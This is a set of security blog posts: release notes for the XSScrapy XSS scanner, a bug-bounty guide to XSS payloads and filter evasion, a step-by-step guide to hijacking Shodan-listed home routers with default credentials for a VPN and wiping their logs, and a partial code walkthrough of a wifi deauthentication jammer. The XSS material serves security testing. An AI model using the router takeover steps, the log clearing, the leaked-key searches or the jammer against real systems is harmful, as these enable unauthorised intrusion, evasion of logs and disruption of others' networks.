XSScrapy v1.0 long term release done

https://github.com/DanMcInerney/xsscrapy

apt-get install python-pip
git clone https://github.com/DanMcInerney/xsscrapy
cd xsscrapy
pip install -r requirements.txt
python xsscrapy.py -u http://example.com
or
python xsscrapy.py -u http//example.com/login -l loginname -p pa$$word

After releasing this tool a few weeks back I have received some very helpful feedback. The most helpful of which was the knowledge of a tool called wavsep, the Web Application Vulnerability Scanner Evaluation Project. This tool is basically just a web app with an enormous amount of vulnerable pages that are each vulnerable in a unique way. The pre-1.0 version of XSScrapy fared poorly on the reflected cross-site scripting portion of this tool which consists of 66 different test cases that are vulnerable to XSS in some way. I am happy to announce that the current long term release version of XSScrapy now passes all 66 and even most of the experimental test cases as well. The problem with the old script was twofold: one, the actual injection finding engine was far less efficient than it could’ve been, and two, the scripts’ ability to determine which quote was necessary to breaking out of Javascript or an HTML attribute was too naive.

A lot of XSS scanners just throw XSS payloads at each input and hope one hits. I wanted to avoid that inefficient solution by analyzing the injection point and determining which characters were unfiltered then report those findings to the user. XSScrapy fundamentally works by using a regex to find all the injection points, then analyzing each injection point with lxml to get the tag and attribute (if necessary) of the injection point. It uses this information to determine what characters are necessary to break out of the source code and inject an XSS payload. The difficulty in this lies with the fact that lxml.html is an HTML parser so injection HTML characters into source code destroys its ability to parse the document.

The old version of the script solved this problem by sending 1 request with a harmless but unique string into every XSS-able input value, analyzing the response to that, then sending a payloaded string to the server if it saw that the harmless string was reflected in the source code. It would then match up the harmless string injection’s tag and attribute with the new response from the payloaded string injection. This is not ideal since it is relatively common for web apps may respond differently given a harmless string as input vs a payloaded string.

I quickly realized there was an easy solution to this. Just send the payloaded string as a request to every input vector, substitute the payloaded characters for harmless ones, then parse it with lxml to get tag and attribute. So that’s what the new version does. It has dramatically improved the scripts’ speed and efficiency while dropping the false negative rate some. In order to further drop the false negative rate to acceptable levels the script needed a bit more though.

Determining the quote delimiter is extremely important to getting accurate results from an XSS scanner. While doing research on how other scanners like ZAP and w3af were doing this, it seemed they were going character by character through the entire response body to determine this. That seemed like total overkill as well as a pain in the ass to implement so in the first few versions of this script I just did some very simple logic to figure out which quote was the HTML attribute delimiter vs Javascript delimiter. That seemed fine for most cases, but after seeing all the possibilities inside wavsep’s test cases it was clear that if XSScrapy was going to be as good or better than other professional tools out there thoroughness was going to be extremely important.

In order to avoid basically creating an entire document parser just to figure out which quotes are open, XSScrapy now goes to the injection point offset, grabs the string from the tag to the injection point and goes through that short subsection of the document character by character to determine which quotes are open or closed and which ones are important to an XSS breakout. I’m much much happier with the new results and 66/66 XSS tests passed on wavsep is proof of the new logic’s superiority.

A final addition was to make the script simpler to run. Instead of having to enter:
scrapy crawl xsscrapy -a url="http://danmcinerney.org"

Now you just go into the main folder after cloning it from github and run:
./xsscrapy.py -u http://danmcinerney.org

There is one drawback to the method I have described here. Due to the fact that lxml can’t parse all broken HTML (still does a pretty good job), if a page has two identical attributes the script has trouble determining accurate tag and attribute info from that. So if a page has an HTML tag with two identically named attributes and an injection is in one of those attributes, the script will often fail to find that injection. Lxml gets confused since 2 identically named attributes within a single tag is broken HTML.

I tried to resolve this by using lxml.html.soupparser which is BeautifulSoup’s regex parser. While this solved this one specific problem, it lead to all kinds of other ones since soupparser lacks a lot of the options and attributes of the normal lxml.html parser. But in addition to the annoyances soupparser brought, it also slowed the script to a crawl and maxed out my CPU immediately. I was shocked at just how much faster and more efficient lxml.html was comparatively. So this is one area that I haven’t fixed yet. If you have any good ideas on solving this one let me know but until then I think this is enough of an edge case I’d be surprised if I’ve missed even a single XSS amongst the hundreds and hundreds of pages I’ve tested XSScrapy on.

At this point XSScrapy easily stands toe to toe with the best free and commercial XSS scanners in terms of accuracy and that’s not even mentioning the drastically smaller resource footprint, ease of use, and speed.

To see how XSScrapy compares to all the other cross-site script scanning tools out there check out:

http://sectoolmarket.com/reflected-cross-site-scripting-detection-accuracy-unified-list.html

XSScrapy
Detection: 66/66 100%
False positive: 0/7 0%

flattr this!

Posted in Python

XSScrapy: fast, thorough XSS vulnerability spider

https://github.com/DanMcInerney/xsscrapy

Unsatisfied with the current crop of XSS-finding tools, I wrote one myself and am very pleased with the results. I have tested this script against other spidering tools like ZAP, Burp, XSSer, XSSsniper, and others and it has found more vulnerabilities in every case. This tool has scored me dozens of responsible disclosures in major websites including an Alexa Top 10 homepage, major financial institutes, and large security firms’ pages. Even the site of the Certified Ethical Hacker certificate progenitors fell victim although that shouldn’t impress you much if you actually know anything about EC-Council :). For the record they did not offer me a discounted CEH. Shame, but thankfully this script has rained rewards upon my head like Bush/Cheney on Halliburton; hundreds of dollars, loot, and Halls of Fame in just a few weeks of bug bounty hunting.

I think I’ve had my fill of fun with it so I’d like to publicly release it now. Technically I publicly released it the first day I started on it since it’s been on my github the whole time but judging by the Github traffic graph it’s not exactly the Bieber of security tools. Hopefully more people will find some use for it after this article which will outline it’s logic, usage, and shortcomings.

Basic usage

Install the prerequisite python libraries, give it a URL, and watch it spider the entire site looking in every nook and cranny for XSS vulnerabilities.

apt-get install python-pip
git clone https://github.com/DanMcInerney/xsscrapy
cd xsscrapy
pip install -r requirements.txt
scrapy crawl xsscrapy -a url="http://example.com"

To login then scrape:

scrapy crawl xsscrapy -a url="http://example.com/login" -a user=my_username -a pw=my_password

All vulnerabilities it finds will be places in formatted-vulns.txt. Example output when it finds a vulnerable user agent header:

xsscrapySS

XSS attack vectors xsscrapy will test

  • Referer header (way more common than I thought it would be!)
  • User-Agent header
  • Cookie header (added 8/24/14)
  • Forms, both hidden and explicit
  • URL variables
  • End of the URL, e.g. www.example.com/<script>alert(1)</script>
  • Open redirect XSS, e.g. looking for links where it can inject a value of javascript:prompt(1)

XSS attack vectors xsscrapy will not test

  • Other headers

Let me know if you know of other headers you’ve seen XSS-exploitable in the wild and I may add checks for them in the script.

  • Persistent XSS’s reflected in pages other than the immediate response page

If you can create something like a calendar event with an XSS in it but you can only trigger it by visiting a specific URL that’s different from the immediate response page then this script will miss it.

  • DOM XSS

DOM XSS will go untested.

  • CAPTCHA protected forms

This should probably go without saying, but captchas will prevent the script from testing forms that are protected by them.

  • AJAX

Because Scrapy is not a browser, it will not render javascript so if you’re scanning a site that’s heavily built on AJAX this scraper will not be able to travel to all the available links. I will look into adding this functionality in the future although it is not a simple task.

Test strings

There are few XSS spiders out there, but the ones that do exist tend to just slam the target with hundreds to thousands of different XSS payloads then look for the exact reflection. This is silly. If < and > are filtered then <img src=x onerror=alert(1)> is going to fail just as hard as <script>alert(1)</script> so I opted for some smart targeting more along the logical lines ZAP uses.

9zqjx

When doing the initial testing for reflection points in the source code this is the string that is used. It is short, uses a very rare letter combination, and doesn’t use any HTML characters so that lxml can accurately parse the response without missing it.

'"()=<x>

This string is useful as it has every character necessary to execute an XSS payload. The “x” between the angle bracket helps prevent false positives that may occur like in some ASP filters that allow < and > but not if there’s any characters between them.

'"(){}[];

Embedded javascript injection. The most important character for executing an XSS payload inside embedded javascript is ‘ or ” which are necessary to bust out of the variable that you’re injecting into. The other characters may be necessary to create functional javascript. This attack path is useful because it doesn’t require < or > which are the most commonly filtered characters.

JaVAscRIPT:prompt(99)

If we find an injection point like: <a href=”INJECTION”> then we don’t need ‘, “, <, or > because we can just use the payload above to trigger the XSS. We add a few capital letters to bypass poorly written regex filters, use prompt rather than alert because alert is also commonly filtered, and use 99 since it doesn’t require quotes, is short, and is not 1 which as you can guess is also filtered regularly.

Logic

Xsscrapy will start by pulling down the list of disallowed URLs from the site’s robots.txt file to add to the queue then start spidering the site randomly choosing 1 of 6 common user agents. The script is built on top of web spidering library Scrapy which in turn is built on the asynchronous Twisted framework since in Python asynchronosity is simpler, speedier and more stable than threading. You can choose the amount of concurrent requests in settings.py; by default it’s 12. I also chose to use the lxml library for parsing responses since it’s 3-4x as fast as the popular alternative BeautifulSoup.

With every URL the script spiders it will send a second request to the URL with the 9zqjx test string as the Referer header and a third request to the URL with /9zqjx tacked onto the end of the URL if there are no variables in the URL in order to see if that’s an injection point as well. It will also analyze the original response for a reflection of the user agent in the code. In order to save memory I have also replaced the original hash-lookup duplicate URL filter stock in Scrapy with a bloom filter.

When xsscrapy finds an input vector like a URL variable it will load the value with the test string 9zqjx. Why 9zqjx? Because it has very few hits on Google and is only 5 characters long so it won’t have problems with being too long. The script will analyze the response using lxml+XPaths to figure out if the injection point is inbetween HTML tags like <title>INJECTION</title>, inside an HTML attribute like <input value=”INJECTION”>, or inside embedded javascript like var=’INJECTION';. Once it’s determined where the injection took place it can figure out which characters are going to be the most important and apply the appropriate XSS test string. It will also figure out if the majority of the HTML attributes are enclosed with ‘ or ” and will apply that fact to its final verdict on what may or may not be vulnerable.

Once it’s found a reflection point in the code and chosen 1 of the 3 XSS character strings from the section above it will resend the request with the XSS character string surrounded by 9zqjx, like 9zqjx'”()=<x>9zqjx, then analyze the response from the server. There is a pitfall to this whole method, however. Since we’re injecting HTML characters we can’t use lxml to analyze the response so we must to use regex instead. Ideally we’d use regex for both preprocessing and postprocessing but that would require more time and regex skill than I possess. That being said, I have not yet found an example in the wild where I believe this would have made a difference. Definitely doesn’t mean they don’t exist.

This script doesn’t encode its payloads except for form requests. It will perform one request with the unencoded payload and one request with an HTML entity-encoded payload. This may change later, but for now it seems to me at least 95% of XSS vulnerabilities in top sites lack any filtering at all making encoding the payload mostly unnecessary.

After the XSS characters string is sent and the response processed using regex xsscrapy will report its finding to the DEBUG output. By default the output of the script is set to DEBUG and will be very verbose. You can change this within xsscrapy/settings.py if you wish. If it doesn’t find anything you’ll see “WARNING: Dropped: No XSS vulns in http://example.com”.

It should be noted that redirects are on which means it will scrape some domains that aren’t just part of the original domain you set as the start URL if a domain within the start URL redirects to them. You can disable redirects by uncommenting REDIRECT_ENABLED in xsscrapy/setting.py.

Manually testing reported vulnerabilities

If you see a hit for a vulnerability in a site, you’ll need to go manually test it. Tools of the trade: Firefox with the extensions HackBar and Tamper Data. Go to formatted-vulns.txt and check the “Type:” field.

header: Use Firefox + Tamper Data to edit/create headers and payload the header value.
url: Just hit the URL with Firefox and change the parameter seen in “Injection point” to a payload
form: Use Firefox + HackBar. Enter the value within the “POST url” field of the xsscrapy report into the top half of HackBar then check the box “Enable Post data” and enter your variable and payload in the bottom box, e.g., var1=”><sVG/OnLoaD=prompt(9)>&var2=<sVG/OnLoaD=prompt(9)>
end of url: Use Firefox, go to the URL listed within the xsscrapy report, and add your payload to the end of the URL like example.com/page1/<sVG/OnLoaD=prompt(9)>

The “Line:” fields are just there to quickly identify if the vulnerability is a false positive and to see if it’s an HTTP attribute injection or HTML tag injection. Recommended payloads:

Attribute injection: “><sVG/OnLoaD=prompt(9)>
Between tag injection: <sVG/OnLoaD=prompt(9)>

Future

  • I would like the payloaded request URLs to not automatically be URL encoded as they are now. This hasn’t been a huge deal so far, but it would be a nice addition. It seems as easy as monkey-patching the Request class and eliminateing safe_url_string but I haven’t had success yet.
  • Payloads appended to the end of cookies should be added so we can exploit that vector. Done 8/24/14.
  • Add ability to scrape AJAX-heavy sites. ScrapingHub has some middleware but still not the simplest task.
  • iframe support Done 8/25/14

flattr this!

Posted in Uncategorized

Modern techniques for XSS discovery

The most common web app bug that meets minimum qualifications for bug bounty programs is decidedly cross-site scripting. I was a little frustrated with the introductory pages I found on the topic while researching for the past few months so this is my attempt to slightly improve the state of affairs. If you want to get your name listed in your first Hall of Fame or receive your first bug bounty prize you could do worse than read on.

Quick intro to how XSS works

Cross-site scripting is a bug where an attacker can inject arbitary HTML or Javascript into a vulnerable page. There’s a couple different flavors of XSS: reflected and persistent.

Reflected XSS bugs happen when a page takes user input and reflects that input in the code of the page. If the page does not filter the user input for characters that have special meaning in HTML/Javascript like double quotes (“) or angled brackets (< >) then the attacker can inject malicious code. Example: if www.site.com/page.php?user=YourUsername reflects YourUsername in the page’s code then you could craft a link like www.site.com/page.php?user=<script>alert(1)</script>. Send that link to a victim and their browser will run whatever javascript you put between the <script> tags as if it was actually part of site.com’s source code. In this case it will simply open a pop up with the message, “1”. For a look at the kind of power a simple reflected XSS like this might have, check out the BeEF project.

Persistent XSSes are when a page takes user input and stores it server-side unfiltered. Quintessential example is forum software that doesn’t filter user posts. If a user makes a thread post that includes something like <script src=”http://malicioussite.com/malicious.js”></script> then anyone who visits that thread will have malicious.js run within their browser automatically. These are obviously a more severe vulnerabilities than reflected XSS since the victim doesn’t have to be socially engineered to click a specially crafted link. Persistent XSSes could lead to self-replicating XSS worms as seen in MySpace a long time ago and TweetDeck more recently.

Often people talk about DOM-based XSS as being a third class of XSS but seems to me these are really just a subtype of reflected XSS as they cannot be stored on the server. They are a bit sneakier than classic reflected XSSes though since the server never even knows that DOM-based XSSes are being triggered. These types of XSS are significantly more difficult to find especially through manual testing. If you’re interested in discovering these you should probably look into using the premium DOMinatorPro too but other than that we’re going to consider DOM-based XSS out of scope for this article.

XSS attack vectors

Any user input on a page is an XSS attack vector. User input vectors: URL variables (and the URL itself in the case of DOM-based XSS), form fields both hidden and explicit, and HTTP headers are all places that users can modify content and exploit XSS bugs. I’ll use the simple XSS payload of <script>alert(1)</script> for the following examples but we will discuss better payloads a little further down.

If my experience and my readings of others’ experience can be trusted, URL variables are the most common XSS attack vector. Take for example the URL http://www.site.com/page.php?id=helloworld&date=081014&score=987439. This URL has 3 XSS attack vectors, the id variable, date variable, and score variable. To test this URL for XSS one might try testing the id variable by visiting the page
http://www.site.com/page.php?id=<script>alert(1)</script>&date=081014&score=987439. If the id variable is vulnerable, you will see a javascript pop up that just says “1” inside it. Simple.

Form input vectors are probably the next most common. Within this vector you’ll most often see bugs in things like the search box that many sites employ. Simple exploitation of this vector would be to enter <script>alert(1)</script> in the search box and hit enter. If you get a javascript pop up on the returned page then you’ve found an XSS bug. Search boxes and text boxes in general are very conspicuous places that sites take user input so if you’re testing a big, well-funded site the programmers will not often be lazy or uninformed enough to not filter input in these places.
However tons of big sites use hidden form fields all over the place. You can identify these by looking at the source code, Ctrl-F to search for <form and look for  type=”hidden” value=”something”. These are more often overlooked since there’s no way for a user inside a normal browser to modify a hidden form field value. In order to modify a hidden form field value you must make a POST to the URL where the payload of the POST is: HiddenVar1=injecthere&HiddenVar2=injecthere&HiddenVar3=SoOnAndSoForth. I found this kind of XSS in a major telco’s site.

Last, we have HTTP headers as attack vectors. I have found that as a whole this is a probably the rarest of XSS-vulnerable vectors meaning if you took a census of the whole internet you would find the least amount of XSS vulnerabilities coming from this vector. Not many sites have a reason to reflect an HTTP header value directly into the source code of the page. That being said, it does seem to be a disproportionately common vulnerability amongst high value targets like very large websites and sites that participate in bug bounty programs. The Referer header, in particular, seems to be a thorn in the side of major websites. This might stem from the fact that the Referer header doesn’t always exist when you hit a URL so it is particularly easy for a programmer or QA engineer to forget to filter input from this vector. Headers that I believe are most commonly XSS vulnerable are Referer, Cookie, and User-Agent. I have personally only seen Referer header XSSes in the wild while I have seen at least one example of a Cookie header-based XSS and have never seen a User-Agent XSS despite having read that that should be a place to test. I’ve heard of some other headers that people have discovered were reflected unfiltered in source code but I cannot find hard evidence of any of them. Please contribute a comment with any other headers you’ve seen in the wild that have been vulnerable to XSS.

I discovered an XSS vulnerability in the Amazon.com homepage due to the Referer header recently. Amazon returned the Referer header value unfiltered in the homepage’s source code within a javascript function that seemed to do something with ads on the page. When asana.com joined HackerOne’s bug bounty program they also had an XSS in their homepage due to the unfiltered reflection of the Referer header value. This attack vector, like hidden form fields, requires special tools/techniques to exploit which we’ll get to soon.

XSS payloads

When looking at most intro to XSS guides they pretty much all say the same thing: <script>alert(1)</script>. This payload is OK, but why would you use a payload that’s longer than necessary and specifically gets caught by a ton of filters? Instead of <script>alert(1)</script> use this:

<sVg/OnLOaD=prompt(9)>

It’s the shortest consistently working payload I have found. This payload has a number of benefits. You will rarely if ever encounter a WAF or filter that specifically looks for the <svg> tag  as a potential XSS attempt. This payload has no spaces which are sometimes filtered out. It uses prompt rather than alert which is very commonly filtered or looked for by WAFs. It uses a digit as the prompt message rather than a string which requires quotes and the digit it uses is not “1” which is also very commonly picked up as an XSS attempt by filters and WAFs. Last, we obfuscate it from poorly created regex filtering by throwing in some capitals.

XSS bugs can be reflected only in 2 places within the source code of a site: between HTML tags like:

<title>INJECTION_HERE</title>

or inside an HTML attribute like:

<a href=”http://site.com/page/INJECTION_HERE”>

If the XSS bug is between HTML tags then you’d use <sVg/OnLOaD=prompt(9)>. If it’s inside an HTML attribute then you’d need to close the attribute value with a quote or more likely a double quote followed by a closing angle bracket so it’d look like “><sVg/OnLOaD=prompt(9)>. In my experience you will probably find slightly more XSS bugs within HTML attributes than just dangling between HTML tags. You will also see some injection points inside javascript functions but those technically fall into the between-tag category. You can often exploit those without < or > by closing out the function with various kinds of parenthesis, a semicolon, then a prompt(9). The payload might end up looking something like this but will be very situationally dependant:

x'; prompt(9);

The x'; might close out a variable that’s being defined and end that javascript statement allowing you to inject your own javacsript afterwards. Ideally your < and > will just be unfiltered so you don’t have to figure out how to get working Javascript going and your payload will look like:

</script><sVg/OnLOaD=prompt(9)>

One of the problems with pages like OWASP’s XSS payload page is that it shows a million XSS payloads for various situations but doesn’t make any effort to organize them by usefulness. The vast majority of them require the < and > to be unfiltered. If the < and > are unfiltered then 95% chance <sVg/OnLOaD=prompt(9)> will work just fine. Other payload examples have unnecessary features that increase the chance of them getting filtered like adding spaces to the pop up message. Some use String.fromChar for the pop up message to avoid quotes in case quotes are filtered but that just extends the length of the payload unnecessarily. Just use a single digit as the pop up message to avoid hitting any input character limits.

Avoiding filters

Basically it all boils down to whether or not “, ‘, <, and > are filtered. Those are the most important characters for exploiting XSS. If they are filtered then you have dozens and dozens of slightly different ways to encode those characters but only a few ways are actually high percentage. URL encoding and HTML encoding have been the only two kinds of filter-evading encoding schemes that I’ve seen work in the wild in my limited experience. That doesn’t mean you shouldn’t try others, but if you still can’t bypass the filter with those two kinds of encoding then the majority of the time you’re not going to find success. HTML encoding generally won’t work for URL parameter XSS bugs, but was used to massive effect by bug hunter behrouz against Yahoo!. Behrouz was able to sneak quotes by the Yahoo! filter for his form field persistent XSS on their comment system by HTML encoding it as &amp;quot;. This lead to an XSS exploit against virtually every yahoo.com property since they all used the same comment form system. URL encoding a quote would look like: %22. The best resource I’ve found for listing a myriad of ways to encode characters is http://seguretat.wiki.uoc.edu/index.php/XSS_Cheat_Sheet_(2) but generally all you’ll need to try are the encodings found at http://ha.ckers.org/xsscalc.html.

Manual XSS testing tools

Firefox is the main tool you will require. You could get fancy and use ZAP or Burp in addition to Firefox but its not necessary to open a large Java program just to edit some headers. The reason we use Firefox and not any of the other big 3 browsers is because Chrome and IE both have XSS filters built into them which are rather effective against our run-of-the-mill reflected XSS attacks. Firefox only has the Content Security Policy header which rarely gets in the way. If you do suspect CSP is getting in the way of your proof-of-concept screenshot of the javascript pop up then you might want to use Xenotix to collect that evidence. To fully test for XSS you will need to add the extensions HackBar and Tamper Data.

HackBar should be used for testing XSS via POST loads like changing a hidden form field value. To do that just enter the URL in the top half of the the HackBar toolbar then the POST payload in the bottom half of the toolbar and hit execute. Tamper Data can add, remove, and edit HTTP headers  as well as bypass client-side filtering. Example of client-side filtering would be the forum software vendor XSS I found a while back. In their sign up page they used javascript that ran in your browser to filter out dangerous characters. All one had to do to exploit this vulnerability was enter legal characters in the form, fire up Tamper Data, tamper just the initial request (uncheck the checkbox in the pop up you’ll see), enter the XSS payload in one or more of the POST parameter values on the right and send it on its way to the server who assumed the characters are safe to render.

Conclusion

Using the logic and methods above have netted me many responsible disclosures against sites like amazon.com, americanexpress.com, eccouncil.org, and an assortment of other high traffic and bug bounty-participating sites. I had a little help from my buddy Python in the discovery of some of those vulnerabilities, but that is for the next post.

flattr this!

Posted in Uncategorized Tagged with: , ,

How to exploit home routers for anonymity

This article is just a demo for educational purposes. To those who say this sort of information should be censored, I say you can close your eyes and shout, “la-la-la-la-this-doesn’t-exist” all you want but that won’t make practices like those outlined below disappear. Only through awareness can you grow and protect yourself and others.

Download device-pharmer
git clone https://github.com/DanMcInerney/device-pharmer
Device-pharmer will take advantage of Shodan and concurrently test 1000 hosts from the search results to find open targets. It will print the IP, port, and title of the page if the connection was successful. All successful connections will be logged in _results.txt in the current working directory. Device-pharmer will be included by default in the next update of Kali.

Get a Shodan API key
1) Sign up for a free Shodan account
http://www.shodanhq.com/account/register
Recommended.

OR

2) Search Google for one
site:pastebin.com shodan api key
This is not an optimized search. It’s just to give you an idea of how to find this sort of information.

Choose a router model to target
Search Google/Amazon/Cuil for routers with baked in VPN support. Perhaps, “vpn router” might do the trick ;). PPTP and OpenVPN are probably the easiest to set up. We’ll pretend for the rest of this exercise that the common D-Link DIR-300 is a router with baked in PPTP VPN support via stock firmware.

(Optional) Find a free HTTP proxy
git clone https://github.com/DanMcInerney/elite-proxy-finder
Run:
python elite-proxy-finder.py -s 2
This script scrapes a few reliable proxy sites for only high anonymity public proxies and concurrently tests the results against a few IP checking sites including an HTTPS one. Then it checks the proxy headers to ensure eliteness. It will display the fastest proxies that pass all tests first. -s 2 will show only the top 2 fastest proxies amongst all the results.
elp
OR

https://hidemyass.com/proxy-list
Choose Speed: Fast and Connection time: Fast

Search Shodan using device-pharmer
python device-pharmer.py -s 'dir-300' -a Wutc4c3T78gRIKeuLZesI8Mx2ddOiP4 --proxy 123.12.12.123:8080 --timeout 30

Alternatively if you know the default username/password you can tell the script to attempt to login to each device found:
python device-pharmer.py -s 'dir-300' -a Wutc4c3T78gRIKeuLZesI8Mx2ddOiP4 --proxy 123.12.12.123:8080 --timeout 30 -u admin -p password

-s: Search Shodan for ‘dir-300′; use single or no quotes
-a: Shodan API key
–proxy: Proxy all requests through this server (optional)
–timeout: By default it’s 12 seconds but since we’re proxying our requests we’re going to want to increase that to account for the lag the proxy is going to introduce (optional)
-u: Try logging in with this username (optional)
-p: Try logging in with this password (optional)

If you have a free account you will only be given one page of results which amounts to 100 hosts. Plenty. If you have a pro account then you can use the -n option to specify how many pages of results you want to run through like “-n 5″.

Example results in the log file dir-300_results.txt without attempting to log in:
dir300

Set up dynamic DNS
http://www.noip.com
Register a free account then go to Manage Hosts > Add Host and fill it out. Max of 3 hosts.

Visit one of the results from the log file “dir-300_results.txt” in your browser
1) Look for the dynamic DNS settings (usually under a link like “DDNS”) and set it up with your noip account
2) Look for the PPTP VPN settings once you’re in, enable it if necessary, and create an account for yourself.

Set up network manager
1) apt-get install network-manager-pptp-gnome
Assuming you’re in Kali.

2) http://support.vpninja.net/hc/en-us/articles/200373377-Ubuntu-12-04-PPTP-Setup
Follow the instructions here.

Clear the router logs
Probably a good idea to do this before and after every session you make to the router. Safety first, of course. Usually you can find the logs in a link like “Settings” or “System” within the router web interface. If you can completely turn off the logs, even better.

Voila!
Your own hypothetical personal VPN.

Ultimately this is one of the less malicious things you can do with this power. If you really wanted to do harm you could change the DNS to point to a malicious server amongst other things. You’d be pretty careless if you actually performed all the steps above as it’s illegal and not really very anonymous as ISPs have logs too. That being said, it doesn’t take much imagination to use similar steps from above and think of alternate ways to abuse a truly massive amount of internet connected devices. IP cameras, network attached storage devices, watches, phones, power plants, particle accelerators.

As the internet-of-things ramps up the amount of low hanging fruit you can find using methods described here is going to explode like the Cambrian.

flattr this!

Posted in Python

How to kick everyone around you off wifi with Python

Full code: https://github.com/DanMcInerney/wifijammer

Description:
This script will find the most powerful wireless interface and turn on monitor mode. If a monitor mode interface is already up it will use the first one it finds instead. It will then start sequentially hopping channels 1 per second from channel 1 to 11 identifying all access points and clients connected to those access points. On the first pass through all the wireless channels it is only identifying targets. After that the 1sec per channel time limit is eliminated and channels are hopped as soon as the deauth packets finish sending. Note that it will still add clients and APs as it finds them after the first pass through.

Upon hopping to a new channel it will identify targets that are on that channel and send 1 deauth packet to the client from the AP, 1 deauth to the AP from the client, and 1 deauth to the AP destined for the broadcast address to deauth all clients connected to the AP. Many APs ignore deauths to broadcast addresses.

# Console colors
W  = '\033[0m'  # white (normal)
R  = '\033[31m' # red
G  = '\033[32m' # green
O  = '\033[33m' # orange
B  = '\033[34m' # blue
P  = '\033[35m' # purple
C  = '\033[36m' # cyan
GR = '\033[37m' # gray
T  = '\033[93m' # tan

Set up terminal colors. Not perfect since some different terminal setups may break the colors but I can’t find a common setup that this doesn’t work with… yet.

def parse_args():
	#Create the arguments
    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--skip", help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA")
    parser.add_argument("-i", "--interface", help="Choose monitor mode interface. By default script will find the most powerful interface and starts monitor mode on it. Example: -i mon5")
    parser.add_argument("-c", "--channel", help="Listen on and deauth only clients on the specified channel. Example: -c 6")
    parser.add_argument("-m", "--maximum", help="Choose the maximum number of clients to deauth. List of clients will be emptied and repopulated after hitting the limit. Example: -m 5")
    parser.add_argument("-n", "--noupdate", help="Do not clear the deauth list when the maximum (-m) number of client/AP combos is reached. Must be used in conjunction with -m. Example: -m 10 -n", action='store_true')
    parser.add_argument("-t", "--timeinterval", help="Choose the time interval between packets being sent. Default is as fast as possible. If you see scapy errors like 'no buffer space' try: -t .00001")
    parser.add_argument("-p", "--packets", help="Choose the number of packets to send in each deauth burst. Default value is 1; 1 packet to the client and 1 packet to the AP. Send 2 deauth packets to the client and 2 deauth packets to the AP: -p 2")
    parser.add_argument("-d", "--directedonly", help="Skip the deauthentication packets to the broadcast address of the access points and only send them to client/AP pairs", action='store_true')
    return parser.parse_args()

Create the optional arguments for the script. I like my scripts to take as little user input as possible for the most common usage but it’s important that there be lots of granularity for those who might need it. You’ll notice that the next section has almost 100 lines of code just to prevent the need for the user to set the interface and start monitor mode however they can override that whole thing by just using the -i argument.

########################################
# Begin interface info and manipulation
########################################
def get_mon_iface(args):
    global monitor_on
    monitors, interfaces = iwconfig()
    if args.interface:
        monitor_on = True
        return args.interface
    if len(monitors) > 0:
        monitor_on = True
        return monitors[0]
    else:
        # Start monitor mode on a wireless interface
        print '['+G+'*'+W+'] Finding the most powerful interface...'
        interface = get_iface(interfaces)
        monmode = start_mon_mode(interface)
        return monmode

Script first checks to see if a monitor mode interface exists by running iwconfig and parsing the output. Should nothing show up it then checks if the user gave the monitor mode interface as an argument and failing that, it moves on to find the most powerful wireless interface on which it will start monitor mode.

def iwconfig():
    monitors = []
    interfaces = {}
    proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
    for line in proc.communicate()[0].split('\n'):
        if len(line) == 0: continue # Isn't an empty string
        if line[0] != ' ': # Doesn't start with space
            wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
            if not wired_search: # Isn't wired
                iface = line[:line.find(' ')] # is the interface
                if 'Mode:Monitor' in line:
                    monitors.append(iface)
                elif 'IEEE 802.11' in line:
                    if "ESSID:\"" in line:
                        interfaces[iface] = 1
                    else:
                        interfaces[iface] = 0
    return monitors, interfaces

Here we use the subprocess library to call iwconfig which will give us a list of the wireless interfaces. After that we do some simple string manipulation to narrow down the string to just the interface names. The line “iface = line[:line.find(' ')]” could be replaced with something like “iface = line.split(‘ ‘, 1)[0]”. I’m usually very partial to the .split() attribute but I was looking at other ways of string manipulation when I did this to expand my horizons. I think I might’ve taken that line from the airoscapy project. Now, what’s really perplexing about this function is that iwconfig when called as root via a python script will only output the wireless interfaces and not loopback or ethernet interfaces but when its called as root or just a regular user outside of python it finds all the interfaces. I do not know why and if you do know please leave a comment.

def get_iface(interfaces):
    scanned_aps = []
    if len(interfaces) < 1:
        sys.exit('['+R+'-'+W+'] No wireless interfaces found, bring one up and try again')
    if len(interfaces) == 1:
        for interface in interfaces:
            return interface

Just checking to see if any wireless interfaces were found. If they weren’t then we quit. If just one is found, then we return that interface and exit the function.

# Find most powerful interface
for iface in interfaces:
    count = 0
    proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN)
    for line in proc.communicate()[0].split('\n'):
        if ' - Address:' in line: # first line in iwlist scan for a new AP
            count += 1
    scanned_aps.append((count, iface))
    print '['+G+'+'+W+'] Networks discovered by '+G+iface+W+': '+T+str(count)+W
try:
    interface = max(scanned_aps)[1]
    return interface
except Exception as e:
    for iface in interfaces:
        interface = iface
        print '['+R+'-'+W+'] Minor error:',e
        print '    Starting monitor mode on '+G+interface+W
        return interface

We identify the most powerful wireless interface here. For each wireless interface that we find using iwconfig we have it scan for access points. Whichever interface finds the highest number of access points is the one we will start monitor mode on. I know there’s various ways to pull power and dBm information from the packet’s Dot11Elt layer but this seemed like a simple and effective measurement.

def start_mon_mode(interface):
    print '['+G+'+'+W+'] Starting monitor mode on '+G+interface+W
    try:
        os.system('ifconfig %s down' % interface)
        os.system('iwconfig %s mode monitor' % interface)
        os.system('ifconfig %s up' % interface)
        return interface
    except Exception:
        sys.exit('['+R+'-'+W+'] Could not start monitor mode')

We start monitor mode with iwconfig. This originally had airmon-ng start monitor mode but I realized there was no point to having a separate monitor mode interface and I wasn’t concerned about starting monitor mode without taking down the parent interface so I eliminated that dependency.

def remove_mon_iface():
    os.system('ifconfig %s down' % mon_iface)
    os.system('iwconfig %s mode managed' % mon_iface)
    os.system('ifconfig %s up' % mon_iface)

This is only called after the user hits Ctrl-C AND a monitor mode interface wasn’t found in the initial interface scan. I’m using os.system() here because I don’t have to do anything with the output of these commands. If I needed to parse the output then I’d use subprocess.Popen() as can be seen elsewhere in the script. Something to note is that os.system is significantly faster than suprocess.Popen() although that doesn’t make much of a difference in this case.

def mon_mac(mon_iface):
    '''
http://stackoverflow.com/questions/159137/getting-mac-address
    '''
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
    mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
